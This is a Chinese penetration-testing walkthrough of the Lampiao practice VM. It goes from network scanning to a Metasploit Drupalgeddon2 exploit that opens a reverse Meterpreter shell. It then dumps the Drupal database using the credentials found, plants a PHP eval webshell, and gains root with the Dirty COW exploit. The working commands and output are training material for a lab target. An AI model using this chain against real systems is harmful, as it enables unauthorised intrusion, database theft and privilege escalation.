Lampiao靶机入侵实战

07-Lampiao靶机入侵实战

一、扫描采集信息

1、获取IP地址
nmap -sn 192.168.81.0/24

获得IP地址为:192.168.81.128
2、获取端口信息

由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描

nmap -p 1-65535 192.168.81.128

获取端口号为:22、80、1898
3、获取主机信息
nmap -O 192.168.81.128

得到操作系统版本:OS details: Linux 3.2 - 4.9,只有内核版本号的范围,没有细节
4、漏洞扫描
nmap --script=vuln  192.168.81.128

无果

1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能

最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、使用御剑或dirb扫描路径
┌──(root💀kaliQiang)-[/home/denny]
└─# dirb http://192.168.81.128:1898 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Dec  1 20:33:33 2021
URL_BASE: http://192.168.81.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://192.168.81.128:1898/ ----
==> DIRECTORY: http://192.168.81.128:1898/includes/
==> DIRECTORY: http://192.168.81.128:1898/misc/                                                         ==> DIRECTORY: http://192.168.81.128:1898/modules/                                                     ==> DIRECTORY: http://192.168.81.128:1898/profiles/                                                     + http://192.168.81.128:1898/robots.txt (CODE:200|SIZE:2189)                                           ==> DIRECTORY: http://192.168.81.128:1898/scripts/                                                     + http://192.168.81.128:1898/server-status (CODE:403|SIZE:297)                                         ==> DIRECTORY: http://192.168.81.128:1898/sites/                                                       ==> DIRECTORY: http://192.168.81.128:1898/themes/                                                                       
7、Acunetix扫描

爆出很多Drupal漏洞

image-20240112155528260

8、确定入侵方向

(1)Nessus并没有提供有效的入侵路线

(2)尝试爆破SSH,无果

(3)直接访问1898的网站,并没有文件上传或SQL注入等漏洞

(4)查找Drupal这套CMS系统,发现网络上存在较多Drupal有关的RCE漏洞,

根据上述漏洞描述,选择一个比较匹配Drupal 7.54版本号的漏洞(MSF中存在的)先进行尝试。

二、使得Drupal获取Shell

1 getshell

msf6> search drupal
msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.81.128
rhosts => 192.168.81.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.112.148:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 192.168.81.128
[*] Meterpreter session 1 opened (192.168.112.148:4444 -> 192.168.81.128:58988) at 2021-12-01 23:37:57 +0800

meterpreter >  			# 成功反弹Shell进入Meterpreter,初战告捷
meterpreter > getuid 	# 查看当前用户:www-data,普通用户
meterpreter > shell    	# 进入主机Shell,此处注意,无提示符

2 拖库

方式一

顺带拖库,根据Drupal的文件结构,查找到/var/www/html/sites/default/settings.php文件中存在数据库连接信息

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'Virgulino',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

尝试运行 mysql -udrupaluser -pVirgulino 进入MySQL命令提示符,可以正常登录,但是发现交互式命令不友好,无法及时回显结果。但是当运行完 show databases; 后虽然无回显,但是当输入 exit; 退出时,回显了结果,数据库名为:drupal,则执行以下命令拖库:

mysqldump -udrupaluser -pVirgulino drupal > drupal.sql

运行后提示:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
/bin/sh: 62: cannot create drupal.sql: Permission denied

说明www-data对当前目录没有写权限,要找一个具备写权限的目录当然是非常容易的事
mysqldump -udrupaluser -pVirgulino drupal > /tmp/drupal.sql

然后下载到本地,完成拖库操作
meterpreter > download /tmp/drupal.sql /home/denny
[*] Downloading: /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.00 MiB of 1.78 MiB (56.21%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.78 MiB of 1.78 MiB (100.0%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] download   : /tmp/drupal.sql -> /home/denny/drupal.sql
方式二

也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。

使用 echo "<?phpeval($_POST['a']);?>"  > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>   
把木马文件上传到靶机

image-20240112163345238

使用蚁剑连接靶机

image-20240112163432144

image-20240112163505854

image-20240112163524066

三、使用Dirty-Cow提权

当获取到Shell后,第一步便是使用getuid来查看当前用户的权限,发现是普通用户:www-data,所以还需要尝试提权。类似于Windows的永恒之蓝漏洞一样,Linux中提权是知名的漏洞便是脏牛漏洞,尝试先从这个方向入手。

1、测试目标主机编译环境

uname -a           ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version   ==> 得知Python运行环境为:2.7.6
php -v			   ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v			   ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码

2、获取脏牛漏洞代码

image-20240115163651377

在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp

image-20240115163752380

3、尝试40847提权

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > shell
Process 2500 created.
Channel 1 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

此时,root用户的密码被临时在/etc/passwd进行了修改,密码为:dirtyCowFun

4 登录Lampiao

账号 root
密码 dirtyCowFun

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5 使用交互式环境执行

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============

Mode              Size            Type  Last modified                      Name
----              ----            ----  -------------                      ----
100644/rw-r--r--  43860206036964  fil   232096135363-12-15 11:41:32 +0800  40847.cpp

meterpreter > shell
Process 1428 created.
Channel 2 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls -l
total 52
-rw-r--r-- 1 www-data www-data 10212 Jan 15 06:57 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 Jan 15 06:57 dcow
python -c  'import  pty; pty.spawn( "/bin/bash")'
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/901866.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JSON格式及jackson.jar包的安装与配置

目录 为什么会出现JSON? JSON格式 jackson的jar文件下载与配置 jackson的简单使用 读取json格式 将现有对象转换成json序列 为什么会出现JSON? 在JSON出现前&#xff0c;由于多种编程语言的语法细节都不是完全相同&#xff0c;在网络传输信息时无法使用同一的格式&…

高效集成:YS采购订单与帆软MongoDB的对接实践

高效集成&#xff1a;YS采购订单与帆软MongoDB的对接实践 YS采购订单对接帆软MongoDB&#xff1a;用友BIP数据集成案例分享 在企业信息化系统中&#xff0c;数据的高效流动和处理是实现业务智能化的关键。本文将聚焦于一个具体的系统对接集成案例——YS采购订单对接帆软MongoD…

sqli-labs靶场安装以及刷题记录-docker

sqli-labs靶场安装以及刷题记录-docker sqli-labs靶场安装-dockersqli-labs靶场刷题less-1 单引号less-2 数字型less-3 单引号括号less-4 双引号括号less-5 单引号布尔盲注less-6 双引号布尔盲注less-7 单引号加括号、输出到文件less-8 单引号布尔盲注less-9 单引号时间盲注les…

Ollama+Open WebUI,windows部署一个本地AI

在Ollama官网下载&#xff0c;点击DownLoad 下载完之后进行安装&#xff0c;配置环境变量&#xff0c;完成后打开CMD命令行工具测试 运行并下载模型 之后选择Open WebUI作为图形化界面 &#x1f680; Getting Started | Open WebUI 运行Docker命令 docker run -d -p 3000:80…

ArcGIS002:软件自定义设置

摘要&#xff1a;本文详细介绍安装arcgis10.2后软件自定义设置内容&#xff0c;包括工具条的启用、扩展模块的启用、如何加载项管理器、快捷键设置、样式管理器的使用以及软件常规设置。 一、工具条的启用 依次点击菜单栏【自定义】->【工具条】&#xff0c;根据工作需求勾…

07 设计模式-结构型模式-桥接模式

桥接&#xff08;Bridge&#xff09;是用于把抽象化与实现化解耦&#xff0c;使得二者可以独立变化。这种类型的设计模式属于结构型模式&#xff0c;它通过提供抽象化和实现化之间的桥接结构&#xff0c;来实现二者的解耦。 这种模式涉及到一个作为桥接的接口&#xff0c;使得…

背包九讲——二维费用背包问题

目录 二维费用背包问题 问题描述&#xff1a; 解决方法&#xff1a; 方法一&#xff1a; 代码实现&#xff1a; 方法二&#xff1a; 代码实现&#xff1a; 背包问题第五讲——二维费用背包问题 背包问题是一类经典的组合优化问题&#xff0c;通常涉及在限定容量的背包中…

gateway 整合 spring security oauth2

微服务分布式认证授权方案 在分布式授权系统中&#xff0c;授权服务要独立成一个模块做统一授权&#xff0c;无论客户端是浏览器&#xff0c;app或者第三方&#xff0c;都会在授权服务中获取权限&#xff0c;并通过网关访问资源 OAuth2的四种授权模式 授权码模式 授权服务器将授…

CentOS 7镜像下载

新版本系统镜像下载&#xff08;当前最新是CentOS 7.4版本&#xff09; CentOS官网 官网地址 http://isoredirect.centos.org/centos/7.4.1708/isos/x86_64/ http://mirror.centos.org/centos/7/isos/ 国内的华为云&#xff0c;超级快&#xff1a;https://mirrors.huaweiclou…

Linux TCP CC状态机

万字详文&#xff1a;TCP 拥塞控制详解 - 知乎bcc/tools/tcpcong.py at master iovisor/bccbcc/tools/tcpcong_example.txt at master iovisor/bcc 1.状态机 2.tcp map

认识类与对象(上)

目录 何为类&#xff0c;何为对象? 一.对于类 1.idea修改文件类名 二.对于对象 三.this关键字 1.区分成员变量和局部变量 2.引用当前对象 3.调用当前对象的其他构造方法 4.总结 四.构造方法 1.利用idea特性快速写出构造方法 五.封装 1.利用idea特性快速写出set和…

鸿蒙网络编程系列32-基于拦截器的性能监控示例

1. 拦截器简介 在Web开发中拦截器是一种非常有用的模式&#xff0c;它允许开发者在请求发送到服务器之前或响应返回给客户端之前执行一些预处理或后处理操作。这种机制特别适用于需要对所有网络请求或响应进行统一处理的情况&#xff0c;比如添加全局错误处理、请求头的修改、…

【深度学习】【OpenVINO】【C++】模型转化、环境搭建以及模型部署的详细教程

【深度学习】【OpenVINO】【C】模型转化、环境搭建以及模型部署的详细教程 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【深度学习】【OpenVINO】【C】模型转化、环境搭建以及模型部署的详细教程前言模型转换--pytorch转onnxWindows平台搭建…

我们可以用微服务创建状态机吗?

大家好&#xff0c;我是锋哥。今天分享关于【我们可以用微服务创建状态机吗&#xff1f;】面试题&#xff1f;希望对大家有帮助&#xff1b; 我们可以用微服务创建状态机吗&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 是的&#xff0c;微服务架构可…

为什么选择 Spring data hadoop

&#x1f449; 请点赞支持这款 全新设计的脚手架 &#xff0c;让 Java 再次伟大&#xff01; spring-data-hadoop hbase 常见的操作方式有以下三种&#xff1a; Native Api 原生 api 操作繁琐&#xff0c;就像用 JDBC 操作关系型数据库一样&#xff0c;类似 flush、submit、…

Windows系统启动MongoDB报错无法连接服务器

文章目录 发现问题解决办法 发现问题 1&#xff09;、先是发现执行 mongo 命令&#xff0c;启动报错&#xff1a; error: MongoNetworkError: connect ECONNREFUSED 127.0.0.1:27017&#xff1b; 2&#xff09;、再检查 MongoDB 进程 tasklist | findstr mongo 发现没有进程&a…

【最全基础知识2】机器视觉系统硬件组成之工业相机镜头篇--51camera

机器视觉系统中,工业镜头作为必备的器件之一,须和工业相机搭配。工业镜头是机器视觉系统中不可或缺的重要组成部分,其质量和性能直接影响到整个系统的成像质量和检测精度。 目录 一、基本功能和作用 二、分类 1、按成像方式分 2、按焦距分 3、按接口类型分 4、按应用…

时间序列预测(九)——门控循环单元网络(GRU)

目录 一、GRU结构 二、GRU核心思想 1、更新门&#xff08;Update Gate&#xff09;&#xff1a;决定了当前时刻隐藏状态中旧状态和新候选状态的混合比例。 2、重置门&#xff08;Reset Gate&#xff09;&#xff1a;用于控制前一时刻隐藏状态对当前候选隐藏状态的影响程度。…

STM32实现毫秒级时间同步

提起“时间同步”这个概念&#xff0c;大家可能很陌生。一时间搞不清楚是什么意思。 我理解“时间同步”可以解决多个传感器采集数据不同时的问题&#xff0c;让多个传感器同时采集数据。 打个比方。两个人走路&#xff0c;都是100毫秒走一步&#xff08;频率相同是前提&…

2024数学分析【南昌大学】

计算极限 lim ⁡ n → ∞ 2024 n ( 1 − cos ⁡ 1 n 2 ) n 3 1 + n 2 − n \mathop {\lim }\limits_{n \to \infty } \frac{{\sqrt[n]{{2024}}\left( {1 - \cos \frac{1}{{{n^2}}}} \right){n^3}}}{{\sqrt {1 + {n^2}} - n}} n→∞lim​1+n2 ​−nn2024 ​(1−cosn21​)n3​ …